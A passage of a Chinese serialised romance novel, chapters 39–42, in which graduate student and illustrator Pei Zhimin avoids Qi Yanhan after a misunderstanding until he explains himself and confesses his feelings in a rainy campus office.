“那可不能白占你便宜,”虞净摩挲着茶杯杯壁,“这批布料我选了好久,到时候做成旗袍肯定好看,样衣打好我就发给你看,你喜欢的话后面给你寄。” 裴知悯歪头一笑,没有客气:“好。” 这家店上菜很快,要动筷子时祁砚寒发来了消息,问她在做什么,裴知悯老老实实说和虞净在吃饭,对面应该在忙,没有第一时间回。 裴知悯关了手机,和虞净边吃边聊,不知不觉一个小时就过去了,走出餐厅,虞净就要去机场了,两人沿着那条路慢慢走去路口。 凛冽的风从前方扫来,裴知悯侧头理了理头发,一抬眼,看见对面的祁砚寒时,霎时愣住了。 卖饰品的店面里,他一手插兜,静静地等着身旁的人挑选,那是一个穿着大衣和半裙的女人,卷发红唇,干练优雅,她拿起了一条丝巾围上了脖颈,转头朝他笑着,应该是在问他合不合适之类的。 祁砚寒侧对她站着,裴知悯只看见他微扬嘴角,点了点头,那女人似乎很满意,把丝巾给了一旁等待的导购员,而后又拿起了一条蓝色领带,朝他比了比。 裴知悯心头微涩,愣愣地看了几秒钟,咬牙别开了眼。 虞净看她定住了脚,疑惑道:“怎么了?” “没事,”裴知悯抿出个笑,挽着她的手走去路口拦车,“快走吧,再晚就赶不上飞机了。” 路口那里,出租车来了又走,虞净坐上车,朝她挥了挥手说了两句话,车子就汇入了车流。 她一走,裴知悯忍不住回想刚才看到的那一幕,印象里他对待亲近的人,总是那样松弛有耐心。 汽车鸣笛,人声喧闹,路边不知道是什么店,在放李健的歌,裴知悯脑袋里混乱一片,记不起歌名了,倒想起了李健曾经说的一句很有哲理的话:爱自有天意。 好像真没说错。 很多年前就没有结果的事,再来一遍,结局好像还是那样,重蹈覆辙只会遍体鳞伤。 又是一年冬天,街上有很多卖腊梅花的老人,裴知悯看着路边摆放整齐的花枝,新鲜青嫩,忽地想起摆在书桌上的那束芍药,也和这些腊梅一样开得正好,那两天她时常看着花发呆,邓漪看她一脸的芳心荡漾问起那花是谁送的,她模棱两可地说一个朋友,换来了邓漪意蕴深长的笑。 想到这里,她不禁难过起来。 那束花到底是什么意思呢? 裴知悯怕会错意,她一个人走进了这边的商场,漫无目的地在里面闲逛,琳琅满目的商品,看得人眼花缭乱,她走遍这一层,一件东西都没买。 上了二楼,逛到一家装修很独特的香氛店,她进去买了一瓶香薰蜡烛,结完账走出店门,裴知悯一眼就看到了电梯上的那一对人影,男俊女美,好不般配,她缓缓呼出一口气,快步走出了商场。 寒风扑面而来,吹得她一阵心凉。 裴知悯沿着街道随意地走,喧嚣的街市,她却听不进去多少声音,手机铃声这时急促地响了起来,邓漪打来的,想要她帮忙改一个论文的格式,她人在地铁上没带电脑,裴知悯此刻急需 别的事情来转移注意力,二话不说就答应下来了。 走进个网吧,里面没多少人,她挑了个靠近门口的位置坐下,开了机就登陆微信开始改文件。 章钦在店里转了圈回到前台,看见一张陌生又熟悉的脸,愣了十来秒,才笃定自己没有认错人,那时裴知悯专注在自己的事儿上,等改完发给邓漪,她抬眼一瞧,章钦正靠在前台柜子上看着她,他挑眉问:“怎么来这儿了?” 裴知悯:“临时要改个论文。” 章钦微惊:“你还在读书?” “嗯,”裴知悯浅笑,“在读研。” 章钦随便一问:“哪个大学啊。” 裴知悯:“南城大学。” 章钦沉默须臾,忽然想起什么似的,拍了拍大腿激动道:“当年我说你读了南大叫我一声学长本来是随口说的,没想到还成真了。” 裴知悯扯唇一笑。 事情已了,她没多停留,拎着东西离开了网吧。 说来也巧,她刚走没一分钟,祁砚寒就来了。 今天和他谈项目的人是他学姐,之前在学校见过几面,如今在工作中遇见,事情谈得异常顺利,完事后,她要去逛街给家人买礼物要他作陪,他作为东道主不好推辞,跟着走了大半个商场,才可算抽身。 通风口处,两个男人站在窗前抽烟,章钦看了眼他:“今儿怎么有空跑我这儿来了?” 祁砚寒咬着烟,简言道:“在附近和人谈事。” 章钦明白,问道:“敢情忙完了来我这休息呢?” 祁砚寒吸了一口烟,勾唇笑了下不置可否。 今天的生意一般,章钦不用时刻守在前台,悠哉悠哉地和他在这儿聊天。 “你最近怎么样?忙吗?”章钦问。 祁砚寒:“还行,没到最忙的时候。” 他就知道。 “唉,我说你们一个个真是,”章钦缓慢吐出一团烟圈,摇头道,“无事不登三宝殿。” 祁砚寒拧眉问:“我们?还有谁来了吗?” “裴知悯啊,好像是来写论文的,”章钦朝门口微抬下巴,“刚走一会儿。” 祁砚寒目光一顿,缓缓吸了一口就利落地将烟掐了,朝外走去,身后章钦在喊:“你这就走了?不是说好打游戏的吗?” 祁砚寒脚步未停,笑着道:“她比较重要。” 章钦茫然地站在原地,稍后仔细品了品这句话,反应过来后,一口烟直接呛进了嗓子里,留下两声长长的咳嗽。 那会儿裴知悯刚走到“北←繁华大街→南”的路牌下,苏英打来电话,问她什么时候放假回来,她回答说下周,外头灰尘大,她捂住声筒咳了下,苏英隐约听见了,不放心地叮嘱她要注意保暖,别为了风度不要温度。 正当她母亲长篇大论唠叨时,右边传来一声鸣笛,裴知悯以为是叫的网约车到了,扭头一看,却是祁砚寒的车,她应付了苏英两句就挂了电话。 车稳稳停住,祁砚寒走到她面前,她的发丝被风吹得凌乱,脸颊微红,有股楚楚可怜的意味。 “回学校吗?”祁砚寒说,“我送你吧。” 裴知悯站着没动,客气道:“不用了,我打了车的。” 祁砚寒笑:“我送你比打车快。” 裴知悯望着他那双浮着笑意的眼睛,平静地偏开眼,看着路上的车。 祁砚寒望着她干净固执的侧脸,欲言又止。 裴知悯的手机这时响了,司机大叔带着歉意的声筒穿出来:“实在不好不好意思啊,姑娘,我这边堵在高架上了过不来,你看你要不取消一下订单吧?” 裴知悯抿嘴,应了句“好的,没事”。 冷冽的冬风扫过街道,吹得落叶张牙舞爪。 裴知悯最后还是坐上了他的车,驾驶座上的男人穿着黑色大衣和西裤,手腕上扣着一块黑表,气质沉稳淡然,从前那个恣意轻狂的男生,已经长成了男人,眉宇间已然有五分成熟三分从容淡定。 恍惚间,祁砚寒转头看了过来,噙着笑问:“看我做什么?” 裴知悯赶紧摇头说“没什么”,扭头看向窗外倒退的街景。 车内的气氛沉默下去,走出商圈,祁砚寒主动搭话:“你朋友走了?” 裴知悯:“嗯。” 祁砚寒没说话,车里又安静了。 他车开得很平稳,裴知悯却心乱如麻,不想再去纠结于那些百转千回的心心结,她靠上座椅后背看着景色,后面竟然浑然不觉地睡着了。 到学校时天已经暗了,校园里的路灯亮了起来,祁砚寒把车停在了她宿舍楼旁边的树荫下,副驾上的人睡得很香,他没出声提醒,就这么看着她,褪去青涩之后,她的脸愈发清丽动人。 端详了一会儿,车外有几个女生走过,说笑声有点大,裴知悯被声音吵醒,迷蒙地睁开了眼,她环视四周,转头看他。 “到了?”声音很软。 祁砚寒看着她:“嗯。” 裴知悯低头解开安全带,嘴里嘀咕着“怎么睡着了”,祁砚寒看着她半清醒半迷糊的模样,无声笑了。 礼貌道过谢,裴知悯拿上礼品袋下车,径直进了楼里。 等她背影消失在视野里,祁砚寒才开车驶离南大。 南城的夜晚喧闹繁华,高楼大厦还是灯火通明,工作上出了问题,祁砚寒赶回了公司,事情有点棘手,办公室里的人都在紧急处理。 深夜十点,祁砚寒回到家。 那会儿方芷宜正躺在床上迷糊地玩着手机,页面忽然跳出消息:你所关注的@寂静的远山更新了,她点进去一看,是一张新画的图,一个很简洁的女生头像,她一顿彩虹屁夸完,听见走廊上有了踢踏走动声。 方芷宜趿上拖鞋,走去祁砚寒房间正想敲门,却发现门是开的,她摸黑往前走了几步,喊了声:“哥?” 没听见回声,她顺着门口的书架往前走。 灯光倏地亮了起来,方芷宜下意识闭上了眼睛,手一用力不小心碰倒了书架上某一层的书,“哗”的一声,掉在地上。 方芷宜睁开眼,看他悠闲地在喝水,一脸的惊魂未定:“你在家怎么不开灯啊?” 祁砚寒把外套丢在床上,理直气壮:“我在家还开什么灯?” 方芷宜哑然。 地上的书孤零零的,她捡起来一看,居然是一本青春杂志,兴奋道:“哥!你年轻的时候也看这种书啊?” 啧。什么叫年轻的时候? 祁砚寒淡漠地看了她一眼,又看向她手里的书,脸上写着“你看我像吗”这几个大字。 方芷宜觉得好笑,随手把杂志丢在了他的书桌上,说起正经的:“哥,我感冒还没好,这周就不去绘画班了成吗?” 方芷宜感冒了,去打了几天点滴,现在声音还有点哑,表情也是可怜巴巴的,祁砚寒没说什么就同意了。 说好这事,方芷宜就要离开,走到一半又折返回来,“诶,你可以跟那个姐姐说一声吗?” 祁砚寒舔了舔唇,点头说“可以”。 等她一走,祁砚寒给裴知悯打了个电话,铃声响了很久都没人接,他按了挂断去浴室洗澡,热水从头淋下来,氤氲的热气里,浮现出一张乖巧的侧脸,他闭着眼,咬牙忍了下来。 水流声停止,祁砚寒套上睡衣擦着头发去外边拿手机,上面没有未接来电,摸不准是不是她睡了没看见电话,他给她发了条微信问在吗,发完,他摸出根烟点燃,吸了一口。 那时裴知悯正 在微博上看评论,起先她在画画没听到他的电话,画完看到了想着应该没什么重要的事,她也就没理,不曾想他又消息发了来,她纠结半晌,回复道:你有事吗? 消息刚发送,他的电话就进来了,裴知悯顿了三四秒,按了接听,很轻地喊了一声:“喂?” 祁砚寒咬着烟:“在忙?” 那头的声音含糊,好像在抽烟,她听到有吸气声。 裴知悯咬唇,顺着这话接下去:“有点。” 祁砚寒拿下烟,笑着道:“那我算打扰你了吗?” “没有,”裴知悯攥紧了手心,问起正事,“你有什么事吗?” 祁砚寒眉头微皱,沉默了几秒,缓缓道:“芷宜感冒了,周六不去绘画班,她让我给你说一声。” 裴知悯慢声道:“好,我知道了。” 这话说完,电话两端便陷入了沉寂之中,她都可以听见他那头的风声,裴知悯莫名不安,先开口道:“你还有事吗?” 祁砚寒从她这声音中察觉到一点不对劲,试探道:“今天心情不好?” 裴知悯轻轻吸了一口气,硬声道:“没有。” 祁砚寒低声笑了下,他都能想象到她言不由心地说着这句话的神态,肯定是一脸倔强的样子。 他低声道:“你这话说的有多勉强你自己知道吗?” 裴知悯绷紧唇,一言不发,又听他道:“没事了,早点睡,晚安。” 裴知悯“嗯”了一下挂了电话,“嘟”声传来,祁砚寒愣了一瞬,这么决绝? 夜色沉沉,风声过境,祁砚寒慢条斯理地抽着烟,烟雾徐徐上浮间,想起她今天的态度,这人后知后觉地感觉到了有点不对。 第40章 第40章萦绕不去的心动 到了期末,裴知悯不仅要交论文,还要忙着监考,这活虽然看起来轻松,但要从早上站到晚上,还有处理各种琐事,其实很费精力。 今天的这堂考试本来是十二点结束的,但试卷好像很简单,十一点半教室里的人就走光了,裴知悯将试卷密封好,下楼去教务处交差。 到了楼下,她一眼就看见了停在十米外的车辆,他穿着高领毛衣和大衣,一身疏朗,指间夹着一支烟,侧颜英朗,边抽烟边和人打电话的样子漫不经心又游刃有余。 裴知悯吸了一口气,装作没看见悄悄离开,韩照这时从楼里出来了,看他要开口,她立马把食指放在嘴边,韩照会意没有出声,走出这一带,他忍不住问:“你不想让他看见你?” 裴知悯低声:“嗯。” 韩照打量了她两秒,想问却又不知道怎么开口。 裴知悯忽而看向他,浅笑道:“师兄,作为朋友,我知道你会帮我的。” 这话里的深意,不用想就能明白。 韩照顿了几秒,微笑点头说“肯定的”,随后转过话题和她说起了监考的事。 打完这通电话,祁砚寒继续等人,掐灭烟蒂时微微一转头,就看见林荫树下那一对并肩同行的身影,那时裴知悯正朝韩照在笑,他眼神微暗,点开通讯录给她打了个电话,远处的人顿住了脚步,两秒后,他看见她把手机揣回了兜里。 教学楼人去楼空,静得只有风声。 祁砚寒看着被挂断的通话页面,眉头一皱,目光沉了两分。 天色灰白,云层很厚,阳光被挡住了大半。 到了教务处,把卷子放好分类,又听老师讲了会儿话,一早上的事才可算了了,中午和邓漪去吃饭,说起这几天的监考,她一脸的生无可恋,裴知悯拍着她的肩安慰,那会儿她心思都在开解邓漪上,没注意到旁边驶过了一辆黑色汽车,驾驶座上的人眼神幽暗。 吃完饭正好一点,下午不用监考,裴知悯忙里偷闲地去了一趟市中心的美术展馆,这两天有一场漫画展览,其中的一位策展老师曾经请她画过稿,得知她是南城人,办展时她就邀请她要来看看。 到了地方,阳光已经出来了,落在肩头轻柔又温暖。 展馆很大,装修简洁明亮,里面的人不少,裴知悯慢慢走着,一部部的欣赏,有时一幅画前会围几个人,投缘的话,大家会低声交谈几句,欢快聊完,又各自去往别的画作前驻足。 裴知悯独自在展馆里走走停停,逛了一个小时,A馆还没逛完,肩头忽然被人拍了下,她回身一看,居然是方芷宜,身后还跟着祁砚寒,他还是上午的装束,眼眸漆黑,直直地看过来,和他视线交汇不到一秒,裴知悯就慌乱地别开了脸。 “知悯姐姐,”方芷宜看见她难掩激动,但还是压着音量问,“你也知道这个画展吗?” 裴知悯莞尔点头,关心道:“你感冒好点了吗?” 方芷宜笑:“差不多前天好的。” “那就好,”裴知悯说,“我挺喜欢逛画展的,你呢?” 方芷宜挠挠头,如实道:“我对于逛画展其实还好啦!是因为微博上有个画师的分享了这次展览,我正好有空又爱屋及乌就来了。” 裴知悯捕捉到重点:“画师?” “嗯嗯,”方芷宜眼睛亮亮的,“不知道你听说过没有,她叫远山。” 裴知悯狠狠愣了,看着眼前这个活泼的女孩子,真觉得不可思议,怎么会有这么巧的事? 收到了人家邀请,裴知悯为了还策展老师一个人情,就把展览在微博上转发了,不曾想真有人会因为她的转发而来。 更没想过这人会是她。 方芷宜见她神情木讷,追问道:“你知道她?” 裴知悯抿嘴一笑:“有所耳闻。” 方芷宜惊喜地睁大了眼,感觉和她愈发投缘了,于是问:“我和你一起逛可以吗?” 裴知悯瞄了眼三米外站着的男人,到底不想让小姑娘失望,她沉吟片刻,欣然道:“好啊。” 说完两个女生就结伴同行了,她们看上去很有话题,聊起画来有说有笑的,祁砚寒没什么兴致,跟在后面走马观花。 这里的画在兼顾艺术性的同时,还保留了观赏性,外行人也能看,他就在一幅画前多停留了一会,一侧过身,她们两个就不见了,环视一圈也没见到人影,祁砚寒手撑着胯都笑了,拿出手机给裴知悯发消息:你们在哪儿? 等了一分钟,他才收到回复:B馆入口靠近吊灯这里。 祁砚寒:我马上过来。 这边,裴知悯收了手机,对方芷宜说:“我们等一等吧,他很快就过来了。” 方芷宜轻点脑袋,无所事事地看着来往的人群,她哥对画这些从来都不感兴趣,车上起先说的是他送完自己就走,结束后再给他打电话,临了他却忽然改了主意愿意来了,全程还没一点不耐烦,真不知道他是怎么想的。 馆里很安静,只有微小的交谈声,仔细听,里面还夹着几句情侣的打情骂俏。 方芷宜看着其他成双成对的男女,纯粹好奇:“姐姐,你有男朋友吗?” 裴知悯望着她水灵的眼睛,轻轻摇了摇头。 方芷宜不信地追问:“真没有?” 裴知悯缓缓一笑,索性说得更直接一点:“是没谈过。” 方芷宜扬眉:“那你有喜欢的人吗?” 裴知悯笑着逗她:“你猜?” 身后的转角,祁砚寒听到这几句话,步子一滞,眼神落在侧前方那个穿着毛衣和半裙的女生身上,眸光深远。 后程她们两个在前面走,祁砚寒一言不发地走在身后,这个展逛了一下午,结束时已经五点了。 暮色降临,天空飘着几朵淡粉色的云。 方芷宜去了洗手间,祁砚寒站在廊下抽烟等她,展馆隔壁是个公园,栽满了绿树青草,有一株枝桠特别茂盛,半弯着垂到了廊檐上。 裴知悯和一个老人交谈完,想出来吹吹风,刚走到廊下,一抬眼就和他撞了个正着。 祁砚寒定定地看着她,眼神浓重。 这样的对视有点难熬,裴知悯转身想走,“时间不早了,我先走……” 话还没说完,就被祁砚寒挡住了去 路。 “上午没看见我?” 许是抽了烟,他的嗓音有点哑,像是裹了一把粗粝。 裴知悯心头一咯噔,眼神飘忽,糊弄道:“我没仔细看。” 祁砚寒眼睛半眯,意味不明地盯着她。 裴知悯抬眸直视,干净的眼眸里藏着狡黠,反问他:“你不是来找闻老师的吗?她今天也在监考。” 祁砚寒都听笑了,黑眸紧锁着她:“是吗?” 裴知悯抿紧唇不回话。 有风吹过,树木沙沙作响。 廊下忽然窜过一只小猫,裴知悯被吓一跳,侧身一躲,差点踩滑台阶,祁砚寒揽住她的腰身,将稳稳她拉了回来,他速度很快,裴知悯还没反应过来,就一头撞进了他怀里,腰上的手掌宽厚温热,紧紧贴着她,裴知悯全身都僵硬了。 挨得这么近,她身上那股很轻很淡的清香,直勾勾地往心里钻,撩得人心旌荡漾。 廊间那头,忽地传来小孩子清脆的笑声,裴知悯回过神,赶紧推开他,捋了捋头发。 祁砚寒顺着力道往后退了一步,轻咳一声:“我去开车,等会送你回去。” 到了傍晚,街上行人多了起来,行色匆忙。 方芷宜出来时,祁砚寒正在和林泽民公司的谈话,对方穿着正装,旁侧还站着两个助理,他和他握了握手,从善如流地交谈。 柔和的背景里,他身姿挺拔,谈笑风生意气风发的模样,还是让人难忘。 头顶的树枝上,有鸟雀在鸣叫。 裴知悯不动声色地收回目光,跟方芷宜说了一声学校临时有事她要先回去,就从这边的出口离开了。 祁砚寒开车过来,环顾四周没见着裴知悯,问方芷宜:“她人呢?” 方芷宜:“走了。” 祁砚寒眉头微皱,重复一遍:“走了?” 方芷宜点头,一脸无辜:“她说临时有事,看上去应该挺急的。” 祁砚寒眸光淡淡,看着远处的街道没有搭话。 这就跑了?! 这天的傍晚很漂亮,风轻轻的,吹得人心情舒畅。 回校路上,裴知悯买了一份糕团当晚餐,考完试,学校里空荡了许多,她一个人慢慢往寝室走,宁静的夜晚,人很容易放空自己,但她却静不下来,想起这段时间发生的事,心思一团乱。 不知从哪儿掀起一阵冷冽的风,吹起阳台上的衣摆。 祁砚寒靠在露台上的栏杆前,静静抽着烟,那股子香气始终在鼻尖萦绕不去,有了外界刺激,才渐渐消减下去。 方芷宜进来时没喊他,下午他的反常肯定事出有因,她想来打听打听,见他在抽烟,她也就没打扰,安静等着,桌角有一本杂志,她无聊拿起来随意翻了两页,看到某一张图,原地尖叫起来。 “啊啊啊啊!” 以为她出了事,祁砚寒赶忙从阳台进来。 “哥!”方芷宜举起杂志激动道,“你怎么会有这本杂志?” 祁砚寒凝视了那本花花绿绿的书两秒,笃信不是他买的,他想起家里还留着高中的书,应该是谁放错了,阴差阳错地被他拿了回来。 祁砚寒不解:“怎么了吗?” “这是远山老师在杂志上最后一次画的稿,早就绝版了,我原来跑了几家书店都没买到,”方芷宜看着书眉开眼笑,“没想到你这儿居然有。” 祁砚寒松了一口气,轻嗤:“一本杂志有什么好大惊小怪的。” 方芷宜白了他一眼,仔细看起了画,嘴里喃喃道:“其实算起来,远山和你年纪差不多,你读书的时候有这杂志,也没什么奇怪的。” 祁砚寒神色清淡,显然对她的话没什么兴趣,只是默默把烟掐灭了。 方芷宜换上谄媚表情,正想他讨要时,楼下传来了动静,好像是闻霏回来了,她赶紧放下书,溜回自己房间装作在温习功课,这都十万火急的时候了,临走前还不忘交代:“哥,这本杂志先放你这儿,你好好保管啊,千万别弄丢了。” 她风风火火一走,杂志就被遗忘在了书桌上,祁砚寒觉得好笑,随便翻开看了看,都是些酸涩的青春故事,没感觉到有什么特别的,不知道方芷宜这么宝贝做什么,他又丢回了原处。 那时他根本都没想起那书有什么不同,直到半夜睡醒,他起来喝水,房间里没开灯,夜深人静,一杯凉水入喉,人清醒了几分,他借着月光,望着那本杂志,大概想起了那书应该是高三那年的某次考试,大家搬书,别人无意间丢在他桌子上的,喻书好像还说上面有她的人脉? 祁砚寒闭着眼仔细回忆了下,一时间无法将所有的东西串联起来,他坐在椅子上想了会,心头思绪仍旧杂乱。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 40-50 第41章 第41章“我们试试,认真的。”…… 一月中旬,所有的考试已经落下帷幕,裴知悯终于轻松下来了,那时喻书也忙完了最后一个实验报告,豪情万丈地给她打电话说出来逛街。 年关迫近,街上张灯结彩火红一片。 两个女生在各大店铺里进进出出,商场里人来人往,这一层逛了大半,喻书买了两件毛衣一件风衣,裴知悯却还是两手空空。 “怎么回事?”喻书拱了拱她的手臂,“你兴致不高啊?” 裴知悯撇撇嘴:“有点累。” 十多天的监考,弄的人身心俱疲,何况她心头还装着事。 喻书没有强求,只是说:“那等会儿去点个蛋糕吧,吃点甜的放松一下。” 裴知悯笑:“好。” 彼时窗外的十字路口,车辆齐整整排列着。 祁砚寒停住车,等着这个红灯过去,副驾上的闻瑾在看文件,刚下飞机,她连家都没回就直接让他朝会馆开,自从和祁宏离婚后,闻瑾就一心扑在了事业上,经常全国各地跑,今年要不是因为在南城有个合作,都不一定会这么早回来。 “今天事情有点多,晚上我就不回家吃饭了,”闻瑾看着文件道,“你也不用来接我。” 祁砚寒没回,目光落在隔壁商场里的那道人影上,她穿着蓝色羽绒服黑色牛仔裤,头发半扎了起来,挎着小包,青春靓丽。 不见回声,闻瑾拍了下他的手臂:“跟你说话呢,听见没?” 祁砚寒转回头,笑了声:“知道了。” 闻瑾重新低下头,又道:“你记得跟你小姨说一声。” 祁砚寒:“她出差了,北京有个学校请她过去做个讲座。” 闻瑾了然地“嗯”了声。 红灯变绿,车流动了起来,送闻瑾到了商场附近的会馆里,祁砚寒开车回到了刚才的那条街,远远就看见她坐在街边的长椅上,手撑着下巴望着对面。 天空阴沉,飘着几朵乌云,看样子快要变天了。 在商场里待久了有点闷,裴知悯出来透透气,街对面有几个打闹的小孩,她笑着看他们奔跑玩笑,一个白发苍苍的老人缓缓走了过来,手里提着一个篮筐,里面摆着各种小玩意儿,和蔼地向她推销:“姑娘,来看看吧,不贵的。” 这寒冬腊月的,老人家卖点东西也不容易,裴知悯看了眼那些商品,选了一个绿色的捕梦网,圆网下面有几个小贝壳,还缀着一串流苏。 付了现金,裴知悯一抬眼,就和不远处的人凌空碰上眼神,她慌张移开眼,那时祁砚寒正欲过去,忽然来了一个电话,他接起说了两句挂断,再一抬头,她已经没了踪影。 祁砚寒眼睛微眯,舔了舔牙根,这会儿他算是看出来了,这姑娘在躲他。 回到车上,祁砚寒点了根烟慢慢抽着,车窗开着,夹着烟的手伸了出去,烟雾徐徐往上。 商场的二楼,甜品店生意正好,裴知悯心还乱着,他怎么在这儿?还是去陪别人吗? 吃着蛋糕缓神,喻书在店外打电话,没两分钟,她苦着脸回来。 “怎么了?”裴知悯问。 喻书不吐不快:“我妈说要介绍个男生给我认识,我还没点头呢,她就给我答应了。” 裴知悯放了叉子,静静地看她。 喻书一手戳着蛋糕碟子,一手指点江山起来:“学医的人为国为民,学业未成,怎谈儿女情长。” 裴知悯笑而不语,喻书没有意识到,她说“为国为民”的时候,眼里都有光,想起高三快毕业时,她对未来一片迷茫,问路在哪里,她回路在脚下,如今她在一条很艰难的路上苦苦坚持 ,没有热爱或许真的撑不下来。 那年高三,大家壮志凌云志在四方,也不知道有没有实现理想,思量到这里,裴知悯想到了林泽民,从前那个很谦逊低调的男生,现在成了林总。 外边的天暗沉了两分,她们聊着天把甜品吃完,又逛了两圈才分别。 夜色上涌,一整条街的路灯都亮了起来。 裴知悯独自溜达了一段路,这条街的尽头,坐落着一家小型的二手书店,门口摆了好些本一五一六年的青春杂志,她驻足看了看,惊喜地翻到了一本《惜时》,不过不是录取了她画稿的那一期刊,她拿上那本书,走进店里逛了逛,里面还有一些被淘汰版本的文学名著和绝版的绘本,她慢慢看着,最后挑中了西里尔的漫画集《春分秋分》。 付完款,裴知悯拦了辆出租车回学校,路上接到了邓漪的电话,闻霏出差去了,剩了一些资料要整理,她应下来说半小时后到。 单薄的风从窗外掠过,车辆在城市里穿梭。 到了南大西门,裴知悯下车后径直往办公楼走,大楼前的树荫下,停着一辆黑车,借着微弱的路灯,她一眼就认出来了是祁砚寒的车,瞥了一眼,她匆匆往楼里走。 没看到暗处抽烟的男人,眼眸如同这夜色一样漆黑。 外面的风忽然变得急促了起来,扫过树梢猎猎作响。 办公室里,邓漪已经理好一部分了,她们两个分工合作,没过多久,邓漪被葛怡老师叫走去帮忙了,裴知悯接着把文件分类归好。 夜里九点,外面下起了小雨,雨滴落在窗玻璃上,声音轻小。 这场雨好像从下午时候就开始酝酿了,迟迟没有落下来,像是少了一场风的推动。 刚把一摞文件放进柜子里,门上响起了两声扣门声,裴知悯以为是邓漪,转头一看,她霎时怔了。 五六米外的门口,祁砚寒穿着白衬衫黑大衣,身姿清峻,直直望向他,不知道是不是裴知悯的错觉,她总觉得那双深邃的眼眸里,蛰伏着侵略。 裴知悯故作镇定地看着他:“你来找老师?” 祁砚寒环视了一圈办公室,明知故问:“她不在?” 裴知悯点头,平声道:“她出差了。” 祁砚寒淡淡地“嗯”了声,自顾自走到小沙发上坐下,说:“没事,你忙你的,我来躲雨。” 这理由,无可挑剔。 裴知悯点了点头,默不作声地整理着文件。 雨声渐大,声响嘈杂,衬得办公室愈发寂静。 祁砚寒心头微燥,摸出烟盒想点一支,又想到她在这里,还是放了回去,拿着打火机把玩。 桌上摆着她刚买的两本书,祁砚寒瞥见那本稍显破旧的杂志,皱了皱眉头,他回忆半晌,感觉好像好多年前,他见过这一本杂志,可记忆太久远,他有点不太确定。 空气沉寂,窗外风雨飘摇。 只剩一点收尾工作了,裴知悯快速把纸页理齐,装进文件夹,又把文件夹按照时间顺序排好,放进柜子里。 祁砚寒听见那略显急促的声响,脸色沉冷下去,他抬眼看向柜前的人,办公室里有暖气,她脱了羽绒服,里面是紧身的白色毛衣,牛仔裤下的两条腿纤细笔直。 她的动作很麻利,暗藏着早点离开这里的急迫。 祁砚寒看得心情烦躁。 办公桌上的手机这时响了起来,打破了这一地静默。 裴知悯循声回身,韩照打来的,来问几个文件的先后时间,她翻了翻文档给出回答。 她挂断后,祁砚寒扯唇一笑,幽幽道:“上次我给你打电话你没接,我还以为你手机坏了。” 裴知悯抿嘴:“有时候开的静音,就会错过……接不到。” 祁砚寒笑意淡了几分。 是接不到还是不想接? 他自有答案。 理完文件,裴知悯把窗户关好,拿上羽绒服和书就打算走了,沙发上的男人没有要动身的迹象。 她咽了咽嗓子,交代道:“我先走了,你再坐会儿吧,走之前记得关灯关窗帘。” 铺天盖地的雨,让人的心情变得愈发沉闷。 祁砚寒直直地注视着她,把玩打火机的动作慢慢停了。 裴知悯低着头,穿好外套,干脆利落地往门口走,刚摸上门把手,身后就传来了急促的脚步声,一只骨节分明的手掌伸了过来,按住她的手腕,往后一扯,她就被压在了门上,身前的男性身躯高大硬朗,紧贴着她压迫感十足,那股力道很大,裴知悯用了劲儿都挣脱不开,她气急:“祁砚寒!” 眼前的男人无动于衷,但瞧见她拧起的细眉,他还是放松了些力气。 裴知悯蹙眉看他,又急又恼:“你做什么?” 祁砚寒黑眸紧盯着她:“你躲我做什么?” 他身上的烟草气息又浓又苦,笼罩在她的鼻腔间让人莫名不安。 裴知悯死死咬住唇,硬声道:“我没有。” 没躲故意当没看见自己?遇见了他绕路走? 祁砚寒听完都笑了一声,眸光沉沉地压近来,他的胸膛坚硬,浑身的气场阴冷又沉重,锋利的眼神似乎要把她看穿。 外面风雨交杂,屋里却如死水般沉寂。 祁砚寒闭了闭眼,慢声说:“你知道我为什么送你那束花吗?” 裴知悯别开了脸:“不知道。” 就这么三个字,带着一种坚忍的决绝和抵抗。 祁砚寒愣了几秒,重重一叹:“不仅仅是想祝你生日快乐。” 南大校外有一家花店,他路过时,街边的卖唱片的店里正在放歌,名字他不知道,只是当听到“路过了学校花店荒野到海边,有一种的浪漫的爱是浪费时间”时,他刹住了车,后来他走进花店里,想买束花送给她,可他对花一窍不通,徘徊了许久,最后还是店主帮他拿了主意。 裴知悯慢慢抬起眼看他。 祁砚寒闭了闭眼,缓慢道:“花店老板说,送给喜欢的女生就应该送芍药,它是定情的花,代表我心属你。” 夜色深沉,风声呜咽,裴知悯浑身僵直,腕子被桎梏得有点疼,一想到那个女人给他挑领带的画面就心酸得厉害,她眼眶微湿,咬紧牙关,推了一把他的胸膛,“这句话,你去对别的姑娘说吧。” 身前的男人纹丝不动。 别人? 祁砚寒眉头狠皱,仔细回想了一会儿,恍然想了起来,试探问:“那天在繁华大街,你是不是看见了我?” 裴知悯垂下眼眸,没吭声。 不否认就是承认。 祁砚寒暗自一叹,解释道:“那个人是我学姐,她来南城和我们公司谈合作,逛街是因为她想给家人买礼物,我只是单纯陪同,并无别意。” 说到这里,祁砚寒明显顿了下,“真的,我和她,什么都没有。” 裴知悯绷紧的肩膀放松下来,畏缩混乱的心被安抚得平整熨帖。 “裴知悯。”他的表情郑重又小心。 裴知悯心颤了下。 祁砚寒压低身子,一字一顿:“你现在应该能看出我的心意,你如果愿意的话——” 房间安静,他的呼吸近在咫尺,那些话裴知悯听得清清楚楚。 祁砚寒目光深沉地攥紧她,低声道:“我们试试,认真的。” 裴知悯狠狠一怔,望着他炽热幽深的眼睛,根本说不出来话来。 雨声杂乱,没有回应的等待让人心慌。 见她久久不出声,祁砚寒妥协似的低下了头,语气近乎恳求:“你给我一个机会,好不好?” 他低声祈求的样子,让她有好几秒的动容,裴知悯嘴唇翕张着,那一个“好”字真的差点就要跑出来了。 大雨疯狂,屋里一室暖光。 电话又响了,裴知悯如梦初醒,又挣了下手,微急道:“你先放开我。” 祁砚寒深吸了一口气,冷静下来,后退几步予以她空间。 闻霏打来的,问她文件是否弄完,又说了些课题的事,裴知悯一一回着。 收了手机,她抬头看向面前的人,两道目光在半空交汇,一个慌乱,一个热烈。 祁砚寒站定离她一米的位置,笑着道:“不用着急,你慢慢考虑,在你作出决定之前,我会好好追你。” 裴知悯心还滚烫着,哑然地愣在原地,不知该作何回应。 第42章 第42章平静舒适的雨天 那晚的后面,祁砚寒送了裴知悯回寝室,车辆在雨中穿行,这个点,校园 的路上几乎没有人,但他的车速仍旧放得很慢,雨刮器匀速扫着,车里的两人都没说话,可她也说不上来为什么此刻的氛围一点不僵硬,反而很温和。 夜色浓稠,学校静谧极了。 外面的雨好像小了些,裴知悯听着雨声,内心逐渐平静下来。 祁砚寒微微侧头,瞥了眼中控台上最上面的那本杂志,封面残了一个角,被翻过的痕迹很明显,他随口一问:“怎么想起买旧书了?” 